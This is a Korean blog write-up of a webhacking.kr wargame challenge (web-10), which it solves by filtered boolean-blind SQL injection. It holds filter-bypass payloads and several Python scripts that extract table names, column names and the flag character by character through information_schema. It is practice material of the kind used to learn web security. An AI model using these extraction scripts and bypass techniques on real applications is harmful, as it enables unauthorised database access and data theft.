어떤한 기능을 가진 페이지인지는 한번에 파악을 못 했지만, 힌트로 SQL Injection 문제라고 알려주고 있다.
HTML 코드를 살펴봤지만 힌트로 보이는 것은 없었다.

 

그래서 나는 일단 값을 보내서 어떤 결과를 출력하는지 살펴봤다.

 

web-10/?no=1

1을 보내니, Result 값으로 1이 출력되었다.

 

web-10/?no=2 & web-10/?no=ㅁ

1말고 다른 정수들을 넣어봤지만, 결과는 0이 출력되었다. 아마 False 값으로 0이 출력되는 듯하다.

 

web-10/?no=no

True로 만들어서 보내니, 1이 출력되었다.

일단 직접 확인한 테이블 안에 있는 no는 1밖에 없는 것으로 보인다.

 

SQLi을 진행하기 전에 필터링되는 문자들을 찾아봤다.
직접 손으로 테스트를 해보니, 공백, =, like, >, <, #, -, ||, &, and, where, 0x이 필터링 되고 있었다.

 

web-10/?no=(0)or(1)

특이하게 or가 필터링되지 않고 있었다. 이것을 이용하여 SQLi를 시도하였다.

 

나는 서버에서 사용하는 쿼리문을 추측해봤는데, 아마 SELECT no IN (입력값) FROM chall13으로 추측이 된다.

왜냐하면, 이렇게 하면 chall13 테이블의 no 컬럼에 입력값이 있으면 1을 반환하고 아니면 0을 반환하기 때문이다.

이는 내가 1, no2, ㅁ을 보냈을 때 받은 결과와 유사하기 때문이다.

 

나는 추측한 쿼리문이 맞는지 테스트하기 위해 IF문을 이용한 쿼리문을 도커의 DB에서 테스트 후 문제에 보내봤다.

 

web-10/?no=(0)or(IF((no)in(1),1,0))
web-10/?no=(0)or(IF((no)in(2),1,0))

아무 이상 없이 실행되는 것을 보니, 추측하였던 쿼리문이 맞는 것 같았다.

 

굉장히 많은 시도와 검색 끝에 나는 새로운 사실을 알아낼 수 있었다.
SELECT TABLE_SCHEMA IN (DATABASE()) FROM information_schema.TABLES 쿼리문을 사용하면 선택된 DB에 속한 테이블을 알아낼 수 있다.

 

IN (DATABASE())를 사용하지 않고, 테이블 이름과 테이블이 속한 DB 이름을 출력해보면 수많은 데이터들이 나온다.

 

하지만 DATABASE()를 사용하면 현재 사용되는 DB가 출력되고, IN을 통해 사용된 DB에 속한 테이블은 1으로 표시된다.

나는 이를 이용하여, SUM 함수으로 1로 표시된 DB에 속한 테이블을 모두 더하여 총 갯수를 구하였다.

import requests, string
from bs4 import BeautifulSoup as bs

def tableCount(url:str):
    for count in range(1, 100):
        res = requests.get(url + f'(0)or(IF((SELECT(sum((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES))IN({count}),1,0))')
        soup = bs(res.text, 'html.parser')
        result = soup.select_one('table')

        if '1' in result.text:
            print('TABLE의 갯수 >>>', count)
            return count

if __name__ == '__main__':
    url = 'https://webhacking.kr/challenge/web-10/?no='

    DBCount = tableCount(url)

파이썬으로 돌려보면 문제 페이지에서 사용하는 DB의 테이블 갯수가 2개 인 것을 알아낼 수 있었다.

 

import requests, string
from bs4 import BeautifulSoup as bs

def tableCount(url:str):
    for count in range(1, 100):
        res = requests.get(url + f'(0)or(IF((SELECT(sum((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES))IN({count}),1,0))')
        soup = bs(res.text, 'html.parser')
        result = soup.select_one('table')

        if '1' in result.text:
            print('TABLE의 갯수 >>>', count)
            return count

def tableNameLength(url:str):
    length = {}
    for q in ['MIN', 'MAX']:
        for idx in range(1, 100):
            res = requests.get(url + f'(0)or(LENGTH((SELECT({q}(IF((SELECT((TABLE_SCHEMA)IN(DATABASE()))),table_name,NULL)))FROM(information_schema.TABLES)))IN({idx}))')
            soup = bs(res.text, 'html.parser')
            result = soup.select_one('table')

            if '1' in result.text:
                print('TABLE의 길이 >>>', idx)
                length[q] = idx
                break
    return length

if __name__ == '__main__':
    url = 'https://webhacking.kr/challenge/web-10/?no='

    DBCount = tableCount(url)
    print(tableNameLength(url))

DB의 테이블이 2개이니, MIN과 MAX를 이용하여 2개의 길이를 구했다.

 

import requests, string
from bs4 import BeautifulSoup as bs

def tableCount(url:str):
    for count in range(1, 100):
        res = requests.get(url + f'(0)or(IF((SELECT(sum((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES))IN({count}),1,0))')
        soup = bs(res.text, 'html.parser')
        result = soup.select_one('table')

        if '1' in result.text:
            print('TABLE의 갯수 >>>', count)
            return count

def tableNameLength(url:str):
    length = {}
    for q in ['MIN', 'MAX']:
        for idx in range(1, 100):
            res = requests.get(url + f'(0)or(LENGTH((SELECT({q}(IF((SELECT((TABLE_SCHEMA)IN(DATABASE()))),table_name,NULL)))FROM(information_schema.TABLES)))IN({idx}))')
            soup = bs(res.text, 'html.parser')
            result = soup.select_one('table')

            if '1' in result.text:
                print('TABLE의 길이 >>>', idx)
                length[q] = idx
                break
    return length

def tableNameParser(url:str, tableNameLengths:dict):
    names = {}
    for q in ['MIN', 'MAX']:
        name = ''
        for idx in range(1, tableNameLengths[q]+1):
            for s in range(0, 128):
                res = requests.get(url + f"(0)or(ORD(SUBSTR((SELECT({q}(IF((SELECT((TABLE_SCHEMA)IN(DATABASE()))),table_name,NULL)))FROM(information_schema.TABLES)),{idx},1))IN({s}))")
                soup = bs(res.text, 'html.parser')
                result = soup.select_one('table')

                if '1' in result.text:
                    name += chr(s)
                    print('TABLE의 이름 >>>', name)
                    break
        names[q] = name

    return names


if __name__ == '__main__':
    url = 'https://webhacking.kr/challenge/web-10/?no='

    DBCount = tableCount(url)
    tableNameLengths = tableNameLength(url)
    print(tableNameParser(url, tableNameLengths))

하루종일 이것만 붙잡고 시도한 끝에 알아낸 것은 '\'으로 치환되는 것으로 추측된다.

 

왜냐하면, SELECT SUBSTR((SELECT(MIN(IF((SELECT((TABLE_SCHEMA)IN(DATABASE()))),table_name,NULL)))FROM(information_schema.TABLES)),1,1)IN(‘c’);으로 시도했을 때 도커의 Mysql에선 True가 되어 1이 나왔다. 하지만 파이썬으로 문제페이지에 해당 SQL쿼리를 보내면, 모두 0이 출력되었다.

그래서 나는 ORD 함수를 이용하여 문자을 10진수로 변환시켜서 비교하였다. 그랬더니, True를 얻을 수 있었다. 이러한 결과로 나는 '\'으로 치환되었다고 생각하였다.

 

해당 테이블 이름을 보니, flag는 flag_ab733768에 있을 확률이 높을거라고 생각이 든다.

web-10/?no=(0)or(IF((SELECT(sum((table_name)IN((0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000))))FROM(information_schema.COLUMNS))IN(1),1,0))
', 0x가 사용이 안되기 때문에 다른 방법으로 테이블 이름과 내가 넣은 문자열과 비교를 해야한다. 그래서 나는 HEX도 되는데, BIN과 OCT도 되지 않을까라는 생각에 시도해보니, 잘 작동하였다.

이것을 이용하여 flag_ab733768를 2진수로 사용하여 컬럼의 갯수를 바로 찾을 수 있었다.

 

다행히 1개 밖에 없어서 쉽게 구할 수 있을거라 생각한다.

 

def columnNameLength(url:str, tableName:str):
    tableName = ''.join(f'{ord(i):08b}' for i in tableName)
    print(tableName)
    for count in range(1, 100):
        res = requests.get(url + f"(0)or(LENGTH((SELECT(MAX(IF((SELECT(table_name)IN(0b{tableName})),COLUMN_NAME,NULL)))FROM(information_schema.COLUMNS)))IN({count}))")
        soup = bs(res.text, 'html.parser')
        result = soup.select_one('table')

        if '1' in result.text:
            return count

url = 'https://webhacking.kr/challenge/web-10/?no='
print(columnNameLength(url, 'flag_ab733768'))

컬럼 이름의 길이를 구했다.

 

def columnNameParser(url:str, tableName:str, columnLenghth:int):
    tableName = ''.join(f'{ord(i):08b}' for i in tableName)
    columnName = ''
    for idx in range(1, columnLenghth+1):
        for s in range(0, 128):
            res = requests.get(url + f"(0)or(ORD(SUBSTR((SELECT(MIN(IF((SELECT(table_name)IN(0b{tableName})),COLUMN_NAME,NULL)))FROM(information_schema.COLUMNS)),{idx},1))IN({s}))")
            soup = bs(res.text, 'html.parser')
            result = soup.select_one('table')

            if '1' in result.text:
                columnName += chr(s)
                print('컬럼의 이름 >>>', columnName)

    return columnName

url = 'https://webhacking.kr/challenge/web-10/?no='
print(columnNameParser(url, 'flag_ab733768', 13))

컬럼의 이름을 구했다.

 

def dataCount(url:str):
    for i in range(1, 100):
        res = requests.get(url + f"(0)or((SELECT(COUNT(flag_3a55b31d))FROM(flag_ab733768))IN({i}))")
        soup = bs(res.text, 'html.parser')
        result = soup.select_one('table')
        print(i)

        if '1' in result.text:
            print('데이터 갯수 >>>', i)
            return i

url = 'https://webhacking.kr/challenge/web-10/?no='
dataCount(url)

컬럼에 저장된 데이터의 갯수를 구하였다.

 

def dataLength(url:str):
    length = {}
    for q in ['MIN', 'MAX']:
        length[q] = 0
        for i in range(1, 100):
            res = requests.get(url + f"(0)or((LENGTH((SELECT({q}(flag_3a55b31d))FROM(flag_ab733768))))IN({i}))")
            soup = bs(res.text, 'html.parser')
            result = soup.select_one('table')

            if '1' in result.text:
                print('데이터의 길이 >>>', i)
                length[q] = i
                break

    return length

url = 'https://webhacking.kr/challenge/web-10/?no='
print(dataLength(url))

2개의 데이터 길이를 각각 구해봤는데, MAX의 길이가 27인 것을 보니 flag인 것 같다.

 

def dataParser(url:str, length:dict):
    data = {}
    for q in ['MIN', 'MAX']:
        data[q] = ''
        for i in range(1, length[q]+1):
            for s in range(0, 128):
                res = requests.get(url + f"(0)or(ORD(SUBSTR((SELECT({q}(flag_3a55b31d))FROM(flag_ab733768)),{i},1))IN({s}))")
                soup = bs(res.text, 'html.parser')
                result = soup.select_one('table')

                if '1' in result.text:
                    data[q] += chr(s)
                    print(f'{q} 데이터 >>>', data[q])
                    break

    return data

url = 'https://webhacking.kr/challenge/web-10/?no='
length = dataLength(url)
print(dataParser(url, length))

MIN도 궁금하여 구해봤다. 생각했던 대로 MAX가 flag였다.

 

문제 페이지에 Flag를 제출하면 Flag를 획득할 수 있다.

'워게임 > webhacking.kr' 카테고리의 다른 글

[Try - 1~2][Webhacking.kr] BABY  (0) 2021.06.25
[Webhacking.kr] CHILD Write Up  (0) 2021.06.23
[Webhacking.kr] Old - 9 Write Up  (0) 2021.06.14
[Webhacking.kr] Old - 57 Write Up  (0) 2021.06.12
[Webhacking.kr] Old - 45 Write Up  (0) 2021.06.11
복사했습니다!